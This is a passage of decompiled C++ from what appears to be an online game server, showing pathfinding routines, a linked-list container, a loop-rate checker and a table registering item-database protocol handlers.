FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CellStack::t_continue"); result = 1; } else { lastloc->x = v4->cs_lastloc.cur.x; lastloc->y = v4->cs_lastloc.cur.y; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CellStack::t_continue"); result = 0; } return result; } //----- (00495D60) -------------------------------------------------------- char __thiscall MinWeightSearching::lid_Call(MinWeightSearching *this, CellStack::CellStackElement *ele, unsigned __int16 handle) { MinWeightSearching *v3; // esi@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MinWeightSearching::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MinWeightSearching::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = ele->weight; if ( v3->mws_minweight > v4 ) { v3->mws_minweight = v4; v3->mws_minhandle = handle; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MinWeightSearching::lid_Call"); return 1; } //----- (00495DD0) -------------------------------------------------------- Tracer *__thiscall CellStack::t_trace(CellStack *this, PathFindArgumentStruct *pfas) { Tracer *v2; // ebp@1 List *v3; // edi@1 int v4; // ebx@1 CardDeck::Card *v5; // esi@1 PathFindCell *v7; // eax@5 unsigned int v8; // ecx@5 unsigned int v9; // edi@6 PathFindCell *v10; // eax@6 signed __int16 v11; // ax@7 unsigned __int16 v12; // di@12 unsigned int v13; // ebx@12 PathFindCell *v14; // eax@12 int (__stdcall **mws)(int, __int16); // [sp+10h] [bp-18h]@1 unsigned __int16 order[2]; // [sp+14h] [bp-14h]@1 int v17; // [sp+18h] [bp-10h]@1 int v18; // [sp+24h] [bp-4h]@1 v2 = (Tracer *)this; mws = &MinWeightSearching::_vftable_; order[0] = -1; v17 = 999999999; v3 = (List *)&this->cs_list; v18 = 0; List::l_4AllInList((List *)&this->cs_list, (ListIteratorDefault *)&mws); v4 = *(_DWORD *)order; v5 = List::l_GetInList(v3, order[0], 0); if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "no path", 0); return 0; } if ( !v3->vfptr->l_Free(v3, v4) ) AssertClass::ac_AssertFail(&shineassert, "CellStack::t_trace : Free fail", 0); v7 = PathFindTable::operator__(&pathfindtable, v5->c_card, v5[1].c_card); v8 = pathfindflag; if ( v7->pfc_flag == pathfindflag ) { v9 = pathfindflag; v10 = PathFindTable::operator__(&pathfindtable, v5->c_card, v5[1].c_card); if ( v10->pfc_flag == v9 ) v11 = v10->pfc_distance; else v11 = -31073; if ( (unsigned __int16)v11 <= (signed int)v5[4].c_card ) return v2; v8 = pathfindflag; } v12 = LOWORD(v5[4].c_card); v13 = v8; v14 = PathFindTable::operator__(&pathfindtable, v5->c_card, v5[1].c_card); v14->pfc_flag = v13; v14->pfc_distance = v12; v14->pfc_from.x = v5[2].c_card; v14->pfc_from.y = v5[3].c_card; return LinearStep::ls_Set(&linestep, v5->c_card, v5[1].c_card, 0, 0); } // 5B0DE4: using guessed type int (__stdcall *MinWeightSearching___vftable_)(int ele, __int16 handle); //----- (00495F30) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00495F80) -------------------------------------------------------- #error "495F80: undefined or illegal type '#331' (funcsize=24)" //----- (00495FD0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004960F0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00496140) -------------------------------------------------------- Tracer *__thiscall CellStack::cs_Set(CellStack *this, PathFindArgumentStruct *pfas, int x, int y, unsigned __int16 dist) { int v5; // esi@1 CellStack *v6; // ebx@1 int xa; // [sp+18h] [bp+8h]@7 int dista; // [sp+20h] [bp+10h]@7 v5 = x; v6 = this; if ( x < -1200 || x > 1200 ) AssertClass::ac_AssertFail(&shineassert, "CellStack::cs_Set : Out of range", x); if ( y < -1200 || y > 1200 ) AssertClass::ac_AssertFail(&shineassert, "CellStack::cs_Set : Out of range", y); xa = dist + 1000; CellStack::cs_push(v6, pfas, v5, y, v5, y + 1, dist + 1000); dista = dist + 1414; CellStack::cs_push(v6, pfas, v5, y, v5 + 1, y + 1, dista); CellStack::cs_push(v6, pfas, v5, y, v5 + 1, y, xa); CellStack::cs_push(v6, pfas, v5, y, v5 + 1, y - 1, dista); CellStack::cs_push(v6, pfas, v5, y, v5, y - 1, xa); CellStack::cs_push(v6, pfas, v5, y, v5 - 1, y - 1, dista); CellStack::cs_push(v6, pfas, v5, y, v5 - 1, y, xa); CellStack::cs_push(v6, pfas, v5, y, v5 - 1, y + 1, dista); return (Tracer *)v6; } //----- (00496260) -------------------------------------------------------- Tracer *__thiscall LinearStep::t_trace(LinearStep *this, PathFindArgumentStruct *pfas) { void *v2; // esi@1 int v3; // ST04_4@1 unsigned int v4; // edi@1 PathFindCell *v5; // eax@1 int v6; // edi@4 int v7; // ebx@4 unsigned int v8; // ebp@9 PathFindCell *v9; // eax@9 char *v11; // [sp-4h] [bp-30h]@5 unsigned __int16 predist; // [sp+10h] [bp-1Ch]@2 int y; // [sp+14h] [bp-18h]@1 int x; // [sp+18h] [bp-14h]@1 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v16; // [sp+28h] [bp-4h]@1 signed int pfasa; // [sp+30h] [bp+4h]@7 v2 = this; _.fe_FunctionCode = "LinearStep::t_trace"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "LinearStep::t_trace"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LinearStep::t_trace"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 9) + 1; v16 = 0; *((_DWORD *)v2 + 9) = v3; LinearStep::ls_step((LinearStep *)v2, v3, &x, &y); v4 = pathfindflag; v5 = PathFindTable::operator__(&pathfindtable, *((_DWORD *)v2 + 7), *((_DWORD *)v2 + 8)); if ( v5->pfc_flag == v4 ) predist = v5->pfc_distance; else predist = -31073; v6 = y; v7 = x; if ( PathFindTable::operator__(&pathfindtable, x, y)->pfc_flag == pathfindflag ) { v2 = CellStack::cs_Set(&cellstack, pfas, *((_DWORD *)v2 + 7), *((_DWORD *)v2 + 8), predist); v11 = "LinearStep::t_trace"; } else { if ( *((_DWORD *)v2 + 7) == v7 || (pfasa = 1414, *((_DWORD *)v2 + 8) == v6) ) pfasa = 1000; v8 = pathfindflag; v9 = PathFindTable::operator__(&pathfindtable, v7, v6); v9->pfc_flag = v8; v9->pfc_distance = predist + pfasa; v9->pfc_from.x = *((_DWORD *)v2 + 7); v9->pfc_from.y = *((_DWORD *)v2 + 8); *((_DWORD *)v2 + 7) = v7; *((_DWORD *)v2 + 8) = v6; v11 = "LinearStep::t_trace"; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); return (Tracer *)v2; } //----- (004963D0) -------------------------------------------------------- void *__thiscall CellStack::_vector_deleting_destructor_(CellStack *this, unsigned int a2) { void *v2; // esi@1 v2 = this; CellStack::_CellStack(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004963F0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00496510) -------------------------------------------------------- void __thiscall CellStack::CellStack(CellStack *this) { CellStack *v1; // ebx@1 char *v2; // esi@1 signed int v3; // edx@1 signed int v4; // eax@1 int v5; // edi@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 int v15; // ecx@12 int v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 signed int v21; // [sp+10h] [bp-10h]@1 v1 = this; v2 = (char *)&this->cs_list; this->baseclass_0.vfptr = (TracerVtbl *)&CellStack::_vftable_; this->cs_list.vfptr = (ListVtbl *)List::_vftable_; this->cs_list.l_ListArray = 0; List::l_MakeList(&this->cs_list, 0xC8u); v3 = 2; v4 = 36; v5 = (int)&v1->cs_array[1]; v21 = 40; do { if ( v3 - 2 < *((_WORD *)v2 + 2) ) { v6 = *((_DWORD *)v2 + 2); v7 = *(_DWORD *)(v6 + v4 - 36); v8 = v6 + v4 - 36; if ( !v7 ) *(_DWORD *)v8 = v5 - 24; } if ( v3 - 1 < *((_WORD *)v2 + 2) ) { v9 = *((_DWORD *)v2 + 2); v10 = *(_DWORD *)(v9 + v4 - 24); v11 = v9 + v4 - 24; if ( !v10 ) *(_DWORD *)v11 = v5; } if ( v3 < *((_WORD *)v2 + 2) ) { v12 = *((_DWORD *)v2 + 2); v13 = *(_DWORD *)(v12 + v4 - 12); v14 = v12 + v4 - 12; if ( !v13 ) *(_DWORD *)v14 = v5 + 24; } if ( v3 + 1 < *((_WORD *)v2 + 2) ) { v15 = *((_DWORD *)v2 + 2); v16 = *(_DWORD *)(v15 + v4); v17 = v4 + v15; if ( !v16 ) *(_DWORD *)v17 = v5 + 48; } if ( v3 + 2 < *((_WORD *)v2 + 2) ) { v18 = *((_DWORD *)v2 + 2); v19 = *(_DWORD *)(v18 + v4 + 12); v20 = v18 + v4 + 12; if ( !v19 ) *(_DWORD *)v20 = v5 + 72; } v4 += 60; v3 += 5; v5 += 120; --v21; } while ( v21 ); } // 5B0D54: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); // 5B0D88: using guessed type int (__thiscall *CellStack___vftable_)(void *p, char); //----- (00496630) -------------------------------------------------------- void __thiscall JunctionPointContainer::JunctionPointContainer(JunctionPointContainer *this) { JunctionPointContainer *v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 PathFindCellLoc *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 PathFindCellLoc *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 PathFindCellLoc *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 PathFindCellLoc *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 PathFindCellLoc *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0xC8u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = 2; v3 = 3; v4 = (int)&v1->jpc_array[1]; v5 = 40; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 8; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 8; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 16; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 24; } v4 += 40; v3 += 5; v2 += 5; --v5; } while ( v5 ); } // 5B0D38: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00496710) -------------------------------------------------------- void __thiscall PerformanceChecker::PerformanceChecker(PerformanceChecker *this) { this->pc_point.mask = 31; this->pc_point.value = 0; } //----- (00496720) -------------------------------------------------------- long double __thiscall PerformanceChecker::pc_loopPERsecond(PerformanceChecker *this) { PerformanceChecker *v1; // esi@1 unsigned int v2; // edx@1 int v3; // eax@1 unsigned int v4; // ecx@1 int v5; // eax@1 int v6; // ecx@1 double v7; // ST08_8@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PerformanceChecker::pc_loopPERsecond"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PerformanceChecker::pc_loopPERsecond"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->pc_point.mask; v3 = v2 & (v1->pc_point.value - 1); v1->pc_point.value = v3; v4 = v1->pc_Buffer[v3]; v5 = v2 & (v3 + 1); v1->pc_point.value = v5; v6 = v4 - v1->pc_Buffer[v5]; --funcallanalizer.fca_stackpoint; v7 = 32.0 / ((double)(unsigned int)v6 * 0.1); FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PerformanceChecker::pc_loopPERsecond"); return v7; } //----- (004967C0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5B0E98: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameDBSession_____NETCOMMAND __int_____vftable_)(void *p, char); //----- (004967F0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00496810) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 1, GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 3, GameDBSession::gds_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 4, GameDBSession::gds_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 18, GameDBSession::gds_NC_MISC_PINGTEST_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 19, GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 21, GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 69, GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 70, GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 2, GameDBSession::gds_NC_ITEMDB_ADMINCREATESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 3, GameDBSession::gds_NC_ITEMDB_ADMINCREATEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 11, GameDBSession::gds_NC_ITEMDB_BUYALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 12, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 14, GameDBSession::gds_NC_ITEMDB_BUYLOTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 15, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 35, GameDBSession::gds_NC_ITEMDB_SELLALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 36, GameDBSession::gds_NC_ITEMDB_SELLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 38, GameDBSession::gds_NC_ITEMDB_SELLLOTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 39, GameDBSession::gds_NC_ITEMDB_SELLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 17, GameDBSession::gds_NC_ITEMDB_EQUIPSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 18, GameDBSession::gds_NC_ITEMDB_EQUIPFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 20, GameDBSession::gds_NC_ITEMDB_UNEQUIPSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 21, GameDBSession::gds_NC_ITEMDB_UNEQUIPFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 23, GameDBSession::gds_NC_ITEMDB_DROPALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 26, GameDBSession::gds_NC_ITEMDB_DROPALLLOT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 24, GameDBSession::gds_NC_ITEMDB_DROPALLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 27, GameDBSession::gds_NC_ITEMDB_DROPLOTFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 29, GameDBSession::gds_NC_ITEMDB_PICKALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 30, GameDBSession::gds_NC_ITEMDB_PICKALLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 32, GameDBSession::gds_NC_ITEMDB_PICKMERGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 33, GameDBSession::gds_NC_ITEMDB_PICKMERGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 57, GameDBSession::gds_NC_ITEMDB_PICKMONEYSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 58, GameDBSession::gds_NC_ITEMDB_PICKMONEYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 123, GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 124, GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 41, GameDBSession::gds_NC_ITEMDB_RELOCSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 42, GameDBSession::gds_NC_ITEMDB_RELOCFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 44, GameDBSession::gds_NC_ITEMDB_EXCHANGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 45, GameDBSession::gds_NC_ITEMDB_EXCHANGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 47, GameDBSession::gds_NC_ITEMDB_MERGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 48, GameDBSession::gds_NC_ITEMDB_MERGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 50, GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 51, GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 53, GameDBSession::gds_NC_ITEMDB_SPLITSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 54, GameDBSession::gds_NC_ITEMDB_SPLITFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 100, GameDBSession::gds_NC_ITEMDB_CHARGED_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 102, GameDBSession::gds_NC_ITEMDB_CHARGED_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 104, GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 105, GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 110, GameDBSession::gds_NC_ITEMDB_CHESTITEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 145, GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 146, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 148, GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYLOTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 149, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 64, GameDBSession::gds_NC_ITEMDB_USE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 66, GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 67, GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 60, GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 61, GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 72, GameDBSession::gds_NC_ITEMDB_UPGRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 74, GameDBSession::gds_NC_ITEMDB_ITEMCHANGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 76, GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 78, GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 79, GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 22, 22, GameDBSession::gds_NC_KQ_REWARDSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 22, 23, GameDBSession::gds_NC_KQ_REWARDFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 81, GameDBSession::gds_NC_ITEMDB_GETFROMCHESTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 82, GameDBSession::gds_NC_ITEMDB_GETFROMCHESTFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 86, GameDBSession::gds_NC_ITEMDB_BOOTHTRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 88, GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 90, GameDBSession::gds_NC_ITEMDB_DESTROY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 92, GameDBSession::gds_NC_ITEMDB_QUESTREWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 96, GameDBSession::gds_NC_ITEMDB_DEPOSIT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 98, GameDBSession::gds_NC_ITEMDB_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 107, GameDBSession::gds_NC_ITEMDB_ITEMBREAKSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 108, GameDBSession::gds_NC_ITEMDB_ITEMBREAKFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 119, GameDBSession::gds_NC_ITEMDB_DISMANTLE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 126, GameDBSession::gds_NC_ITEMDB_MINIHOUSE_EFFECT_DEMANDGOOD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 128, GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 129, GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 140, GameDBSession::gds_NC_ITEMDB_FURNITURE_ENDURE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 142, 